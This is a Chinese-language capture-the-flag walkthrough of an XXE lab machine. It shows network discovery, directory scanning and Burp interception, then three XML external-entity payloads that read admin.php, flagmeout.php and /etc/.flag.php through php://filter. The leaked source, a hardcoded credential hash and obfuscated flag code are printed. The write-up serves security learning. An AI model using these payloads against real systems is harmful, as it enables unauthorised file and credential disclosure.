XXE靶机漏洞复现通关

发布于:2024-12-19 ⋅ 阅读:(11) ⋅ 点赞:(0)

1.扫描XXE靶机的ip地址

将kali虚拟机和XXE靶机部署在同一局域网中,都采用NAT网络模式

搭建好后在kali终端中进行扫描XXE靶机的ip

arp-scan -l

根据常识我们可以推断192.168.27.153为靶机的ip地址

2.访问靶机页面并扫描附录

进入页面后我们可以打开御剑扫描网页中是否存在其他的目录

扫描得知页面中存在robots.txt和index.html两个页面,我们依次访问

index.html就是我们刚才访问的主页面

robots.txt文件下存在xxe目录以及admin.php文件,依次访问

访问xxe我们到了登录界面,admin.php无法正常访问

3.尝试登录

这里我们输入账号密码进行登录,查看回显信息

我们无法登录,可以采用bp抓包

抓包后我们发现页面存在xml请求,这时我们可以构造语句查询admin.php文件中的内容

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
&xxe;

发送后我们得到如下加密信息,解密后我们可以得到如下数据

<?php
  session_start();
?>


<html lang = "en">

  <head>
    <title>admin</title>
    <link href = "css/bootstrap.min.css" rel = "stylesheet">

    <style>
      body {
        padding-top: 40px;
        padding-bottom: 40px;
        background-color: #ADABAB;
      }

      .form-signin {
        max-width: 330px;
        padding: 15px;
        margin: 0 auto;
        color: #017572;
      }

      .form-signin .form-signin-heading,
      .form-signin .checkbox {
        margin-bottom: 10px;
      }

      .form-signin .checkbox {
        font-weight: normal;
      }

      .form-signin .form-control {
        position: relative;
        height: auto;
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
        padding: 10px;
        font-size: 16px;
      }

      .form-signin .form-control:focus {
        z-index: 2;
      }

      .form-signin input[type="email"] {
        margin-bottom: -1px;
        border-bottom-right-radius: 0;
        border-bottom-left-radius: 0;
        border-color:#017572;
      }

      .form-signin input[type="password"] {
        margin-bottom: 10px;
        border-top-left-radius: 0;
        border-top-right-radius: 0;
        border-color:#017572;
      }

      h2{
        text-align: center;
        color: #017572;
      }
    </style>

  </head>

  <body>

    <h2>Enter Username and Password</h2> 
    <div class = "container form-signin">

      <?php
      $msg = '';
      if (isset($_POST['login']) && !empty($_POST['username']) 
          && !empty($_POST['password'])) {

        if ($_POST['username'] == 'administhebest' && 
            md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
          $_SESSION['valid'] = true;
          $_SESSION['timeout'] = time();
          $_SESSION['username'] = 'administhebest';

          echo "You have entered valid use name and password <br />";
          $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
          echo $flag;
        }else {
          $msg = 'Maybe Later';
        }
      }
      ?>
    </div> <!-- W00t/W00t -->

        <div class = "container">

          <form class = "form-signin" role = "form" 
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); 
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control" 
              name = "username" 
              required autofocus></br>
            <input type = "password" class = "form-control"
              name = "password" required>
              <button class = "btn btn-lg btn-primary btn-block" type = "submit" 
               name = "login">Login</button>
         </form>
			
         Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
         
      </div> 
      
   </body>
</html>

分析代码,我们发现

文件中存在账号密码,密码为md5加密,我们进行md5解密并登录后台

登录后台

账号密码错误,我们尝试扫描xxe目录下是否还有其他页面

访问xxe/admin.php

这里我们尝试登录

登录成功

4.获取flag

我们点击flag发现报错信息给我们返回了一个新的文件,我们尝试获取文件数据

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
]>

将我们得到的信息进行解密

<?php
$flag = "<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";
echo $flag;
?>

我们可以看到文件中还有一个由base32加密的数据

我们进行解密

解密后得到由base64加密的数据,我们继续解密

解码后获得新的文件,我们获取文件的数据

<?xml version="1.0" ?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>

这里我们继续解密

$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$脌=+_;$脕=$脗=$脙=$脛=$脝=$脠=$脡=$脢=$脣=++$脕[];$脗++;$脙++;$脙++;$脛++;$脛++;$脛++;$脝++;$脝++;$脝++;$脝++;$脠++;$脠++;$脠++;$脠++;$脠++;$脡++;$脡++;$脡++;$脡++;$脡++;$脡++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脢++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$脣++;$__('$_="'.$___.$脕.$脗.$脙.$___.$脕.$脌.$脕.$___.$脕.$脌.$脠.$___.$脕.$脌.$脙.$___.$脕.$脗.$脙.$___.$脕.$脗.$脌.$___.$脕.$脡.$脙.$___.$脕.$脡.$脌.$___.$脕.$脡.$脌.$___.$脕.$脛.$脝.$___.$脕.$脙.$脡.$___.$脕.$脝.$脕.$___.$脕.$脠.$脙.$___.$脕.$脙.$脡.$___.$脕.$脠.$脙.$___.$脕.$脝.$脡.$___.$脕.$脙.$脡.$___.$脕.$脛.$脝.$___.$脕.$脛.$脕.$___.$脕.$脠.$脙.$___.$脕.$脡.$脕.$___.$脕.$脡.$脝.'"');$__($_);

这里解密后我们得到一段乱码,判断其应该是php代码,我们将其插入到本机网站的php中进行访问

访问后我们成功获得了flag!